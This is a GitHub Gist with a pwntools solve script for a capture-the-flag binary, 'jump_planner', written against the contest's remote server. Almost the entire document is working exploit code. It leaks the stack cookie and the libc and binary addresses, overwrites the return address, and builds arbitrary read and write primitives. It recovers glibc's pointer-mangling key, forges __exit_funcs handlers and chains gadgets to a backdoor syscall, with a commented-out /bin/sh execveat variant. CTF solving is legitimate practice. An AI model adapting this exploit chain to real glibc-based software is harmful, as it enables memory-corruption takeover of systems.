Created
January 15, 2024 18:15
-
-
Save ChrisTheCoolHut/2ceae2335794b8772e65b1ed555b83de to your computer and use it in GitHub Desktop.
Solution script to jump planner
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
special backdoor syscall gives flag. | |
Something going on with call/ret too. | |
No ropping? | |
rax = 0x5add011 | |
rdi = ptr -> "please_give_me_flag" | |
rsi = 0x6942069420 | |
''' | |
from pwn import * | |
elf = ELF("./jump_planner") | |
context.binary = elf | |
libc = ELF("./libc.so.6") | |
# give_flag offset - doesn't work jumping into plugin lib | |
# give_flag_symbol_offset = 0x00001581 | |
gdb_cmds = ["b manual_jump","b manual_jump+295","c"] | |
#nc jump.chrononaut.xyz 5000 | |
r = ["jump.chrononaut.xyz",5000] | |
def conf(): | |
if args.REMOTE: | |
p = remote(r[0],r[1]) | |
elif args.QEMU: | |
p = remote("127.0.0.1",5000) | |
# gdb.attach(p,gdbscript='\n'.join(gdb_cmds)) | |
else: | |
p = process([elf.path]) | |
if args.GDB: | |
gdb.attach(p,gdbscript='\n'.join(gdb_cmds)) | |
return p | |
p = conf() | |
p.recvuntil(b">> ") | |
def add_speed_dial(index,year): | |
p.sendline(b"1") | |
p.recvuntil(b"Index: ") | |
p.sendline(index) | |
p.recvuntil(b"Year: ") | |
p.sendline(year) | |
p.recvuntil(b">> ") | |
def remove_speed_dial(index): | |
p.sendline(b"2") | |
p.recvuntil(b"Index: ") | |
p.sendline(index) | |
p.recvuntil(b">> ") | |
def quick_jump(index): | |
p.sendline(b"3") | |
p.recvuntil(b"Index: ") | |
p.sendline(index) | |
text = p.recvuntil(b"location\n") | |
print(p.recvuntil(b">> ")) | |
return text | |
def man_jump(year,num_chars,location): | |
p.sendline(b"4") | |
p.recvuntil(b"Year: ") | |
p.sendline(year) | |
p.recvuntil(b"(max 30):") | |
p.sendline(num_chars) | |
p.recvuntil(b"location:") | |
p.sendline(location) | |
return p.recvuntil(b">> ") | |
def list_years(): | |
vals = [] | |
p.sendline(b"5") | |
p.recvuntil(b"List:\n") | |
for _ in range(10): | |
line = p.recvuntil(b"\n") | |
if b"Not Assigned" in line: | |
vals.append(0) | |
continue | |
line = line.split(b"Year: ")[1] | |
year_n = line[:-1] | |
year_n = int(year_n) | |
vals.append(year_n) | |
p.recvuntil(b">> ") | |
return vals | |
def get_current_year(): | |
p.sendline(b"5") | |
p.recvuntil(b"Current Year: ") | |
val = p.recvuntil(b"\n")[:-1] | |
import ctypes | |
# printed as %u, but stored as %d | |
val = ctypes.c_int32(int(val)).value | |
p.recvuntil(b">> ") | |
return val | |
def pc_overwrite(pc_val, cookie, rbp_val): | |
# |Cookie | RBP | PC | | |
curr_year = get_current_year() | |
return man_jump(str(curr_year).encode(), b"0", b"B"*40+p64(cookie) + p64(rbp_val) + p64(pc_val) + b"55") | |
# return man_jump(str(curr_year).encode(), b"0", b"B"*40+p64(cookie) + p64(rbp_val) + p64(pc_val)) | |
# return man_jump(str(curr_year).encode(), b"0", b"B"*40+p64(cookie) + p64(rbp_val) + p64(pc_val) + b"C"*0x400) | |
def stack_leak(): | |
curr_year = get_current_year() | |
leak_text = man_jump(str(curr_year).encode(),b"-2",b"55") | |
leak_text = leak_text.split(b"at ")[1] | |
leak_text = leak_text.split(b"\n")[0] | |
leak_val = u64(leak_text.ljust(8,b"\x00")) | |
print(hex(leak_val)) | |
return leak_val | |
def get_index_n(n): | |
text = quick_jump(n) | |
# print(text) | |
text = text.split(b"Year ")[1] | |
text = text.split(b" at")[0] | |
val = int(text) | |
return val | |
leak_value = stack_leak() | |
stack_cookie = get_index_n(b"5") | |
libc_leak = get_index_n(b"7") | |
main_address = get_index_n(b"9") | |
print(f"cookie {hex(stack_cookie)}") | |
print(f"libc_leak {hex(libc_leak)}") | |
print(f"main_address {hex(main_address)}") | |
print(f"stack var leak {hex(leak_value)}") | |
elf.address = main_address - elf.sym["main"] | |
print("binary base address at {}".format(hex(elf.address))) | |
libc.address = libc_leak - 0x29d90 # offset for provided libc | |
print("libc base address at {}".format(hex(libc.address))) | |
def do_read_4(addr): | |
print(f"reading value at addr {hex(addr)}") | |
pc_overwrite(elf.sym["main"]+201, stack_cookie, addr-0x38+0x70-0x10) | |
return(list_years()[1]) | |
def do_read_8(addr): | |
val1 = do_read_4(addr+4) | |
val2 = do_read_4(addr) | |
return (val1 << 32) + val2 | |
# 8 byte write since we're using add_speed_dial instead of man_jump | |
def do_write_4(addr,value): | |
pc_overwrite(elf.sym["main"]+201, stack_cookie, addr-0x38+0x70-0x10) | |
add_speed_dial(b"1",str(value)) | |
def do_write_8(addr,value): | |
print(f"Writing value {hex(value)} at addr {hex(addr)}") | |
do_write_4(addr+4,value >> 32) | |
do_write_4(addr,value & 0xFFFFFFFF) | |
# Overwrite __exit_funcs instead. | |
# ghidra: | |
# exit @ 0x1455f0 - 0x00100000 = 0x455f0 | |
# exit_ptr 0x00319838 - 0x00100000 = 0x219838 | |
# Found in Ghidra | |
__exit_funcs = libc.address + 0x219838 | |
# Found in GDB _dl_fini addr | |
# libc base to _dl_fini -> 0x00007fd43f467040 - 0x7fd43f237000 | |
dl_fini_offset = 0x230040 | |
dl_fini_addr = libc.address + dl_fini_offset | |
print(f"__exit_funcs : {hex(__exit_funcs)}") | |
''' | |
Points to | |
struct exit_function_list | |
{ | |
struct exit_function_list *next; 0 | |
size_t idx; 8 | |
struct exit_function fns[32]; -- 0x10 | |
}; | |
''' | |
print(f"dl_fini_offset : {hex(dl_fini_offset)}") | |
print(f"dl_fini_addr : {hex(dl_fini_addr)}") | |
# Encrypted pointer | |
# | flavor | fn | arg | dso | | |
# Get encrypted function | |
exit_function_list_addr = do_read_8(__exit_funcs) | |
print(f"exit_function_list_addr : {hex(exit_function_list_addr)}") | |
# I mess something up somewhere with my read. Try to restore | |
enc_dl_fini_addr = do_read_8(exit_function_list_addr+0x18) | |
enc_dl_fini_addr_arg = do_read_8(exit_function_list_addr+0x20) | |
# The shifts are copied from the above blogpost | |
# Rotate left: 0b1001 --> 0b0011 | |
rol = lambda val, r_bits, max_bits: \ | |
(val << r_bits%max_bits) & (2**max_bits-1) | \ | |
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) | |
# Rotate right: 0b1001 --> 0b1100 | |
ror = lambda val, r_bits, max_bits: \ | |
((val & (2**max_bits-1)) >> r_bits%max_bits) | \ | |
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) | |
# encrypt a function pointer | |
def encrypt(v, key): | |
return rol(v ^ key, 0x11, 64) | |
key = ror(enc_dl_fini_addr, 0x11, 64) ^ dl_fini_addr | |
print(f"Recovered xor key {hex(key)}") | |
arg_addr = elf.bss()+0x200 | |
# /bin/sh\x00 | |
# populate arg_addr for execveat payload | |
# print(f"/bin/sh at {hex(arg_addr)}") | |
# do_write_8(arg_addr, 0x0068732f6e69622f) | |
print(f"setjmp addr : {hex(libc.sym['setjmp'])}") | |
enc_getcontext_addr = encrypt(libc.sym["setjmp"], key) | |
print(f"main addr : {hex(elf.sym['main'])}") | |
enc_main_addr = encrypt(elf.sym["main"], key) | |
# long_jmp_real_addr = libc.sym['longjmp'] | |
long_jmp_real_addr = libc.address + 0x42290 | |
print(f"longjmp addr : {hex(long_jmp_real_addr)}") | |
enc_setcontext_addr = encrypt(long_jmp_real_addr, key) | |
print(f"garb addr : {hex(0x4141414142424242)}") | |
enc_garb_addr = encrypt(0x4141414142424242, key) | |
# What about getcontext(elf.bss) -> write -> setcontext(elf.bss) | |
context_addr = elf.bss()+ 0x500 | |
# context_addr = leak_value | |
''' | |
dang jmp_buf only has | |
# The jmp_buf is assumed to contain the following, in order: | |
# %rbx | |
# %rsp (post-return) | |
# %rbp | |
# %r12 | |
# %r13 | |
# %r14 | |
# %r15 | |
# <return address> | |
''' | |
# Create exit_function_list | |
do_write_8(elf.bss()+0x148, 0) | |
do_write_8(elf.bss()+0x140, context_addr) # No args needed. | |
do_write_8(elf.bss()+0x138, enc_getcontext_addr) # is this being run first? | |
do_write_8(elf.bss()+0x130, 4) | |
do_write_8(elf.bss()+0x128, 0) | |
do_write_8(elf.bss()+0x120, 0) # Write current context here. | |
do_write_8(elf.bss()+0x118, enc_main_addr) | |
do_write_8(elf.bss()+0x110, 4) | |
do_write_8(elf.bss()+0x108, 2) | |
do_write_8(elf.bss()+0x100, 0) | |
# Write to our fake structure | |
do_write_8(__exit_funcs, elf.bss()+0x100) | |
print(f"Context written to {hex(context_addr)}") | |
# call exit to trigger write and loop back into main. | |
p.sendline(b"6") | |
# rip_val = 0x4141414141414141 | |
rip_val = libc.sym['syscall'] | |
print(f"syscall addr : {hex(rip_val)}") | |
preserve_range = int(23+2) | |
vals = {} | |
#store | |
for x in range(preserve_range): | |
addr = context_addr+(x*8) | |
# val = do_read_8(addr) | |
vals[addr] = 0 | |
''' | |
rax = 0x5add011 | |
rdi = ptr -> "please_give_me_flag" | |
rsi = 0x6942069420 | |
''' | |
''' | |
syscall() args needed: | |
rdi = 0x5add011 | |
rsi = ptr -> "please_give_me_flag" | |
rdx = 0x6942069420 | |
execveat() | |
0 | |
"/bin/sh" | |
0 | |
''' | |
# 2f62696e2f7368 | |
# bin_sh_val = 0x68732f6e69622f | |
# do_write_8(arg_addr,bin_sh_val) | |
# "please_g ive_me_f lag\x00" | |
val1 = 0x675f657361656c70 | |
val2 = 0x665f656d5f657669 | |
val3 = 0x67616c | |
do_write_8(arg_addr+0x10,val3) | |
do_write_8(arg_addr+0x8,val2) | |
do_write_8(arg_addr,val1) | |
super_gadget = libc.address + 0x120bc5 | |
super_gadget2 = libc.address + 0x15ce25 | |
print(f"super gadget : {hex(super_gadget)}") | |
scratch = leak_value | |
# syscall | |
end_pc_value = libc.sym['syscall'] | |
end_rdi_value = 0x5add011 | |
end_rsi_value = arg_addr | |
end_rdx_value = 0x6942069420 | |
# end_pc_value = libc.sym['execveat'] | |
# end_rdi_value = 0 | |
# end_rsi_value = arg_addr | |
# end_rdx_value = 0 | |
# rsp+0x8 | |
do_write_8(scratch + 0x18, end_pc_value) #end rax value | |
do_write_8(scratch + 0x10, 0) #end r13 value | |
do_write_8(scratch + 0x8, end_rdi_value) #end r12 | |
do_write_8(scratch, end_rsi_value) #end rsi value | |
i = 0x41 | |
for k in reversed(vals.keys()): | |
v = vals[k] | |
print(f"addr offset : 0x{(k - context_addr) / 8}") | |
if k == (context_addr + 7*8): #rip | |
do_write_8(k, encrypt(super_gadget, key)) | |
continue | |
if k == (context_addr + 6*8): #rsp? | |
do_write_8(k, encrypt(scratch, key)) | |
continue | |
if k == (context_addr + 3*8): #r13 -- End rdx value | |
do_write_8(k, end_rdx_value) | |
continue | |
if k == (context_addr + 2*8): #r12 | |
do_write_8(k, super_gadget2) | |
continue | |
if k == (context_addr + 1*8): #rbp? -> rsi for gadj | |
do_write_8(k, encrypt(0x5add011, key)) | |
continue | |
if k == (context_addr): #rbx? | |
do_write_8(k, scratch) | |
# do_write_8(k, encrypt(scratch, key)) | |
continue | |
i+=1 | |
# Now that a valid getcontext is there, let's modify it and setcontext | |
do_write_8(elf.bss()+0x138, 0) # DSO | |
do_write_8(elf.bss()+0x130, context_addr) # set context from here. | |
do_write_8(elf.bss()+0x138, enc_setcontext_addr) | |
do_write_8(elf.bss()+0x130, 4) | |
do_write_8(elf.bss()+0x128, 0) # DSO | |
do_write_8(elf.bss()+0x120, 0) # set context from here. | |
do_write_8(elf.bss()+0x118, enc_main_addr) | |
do_write_8(elf.bss()+0x110, 4) | |
do_write_8(elf.bss()+0x108, 2) | |
do_write_8(elf.bss()+0x100, 0) | |
do_write_8(__exit_funcs, elf.bss()+0x100) | |
# Trigger exit again | |
p.sendline(b"6") | |
# p.interactive() | |
print(p.clean()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment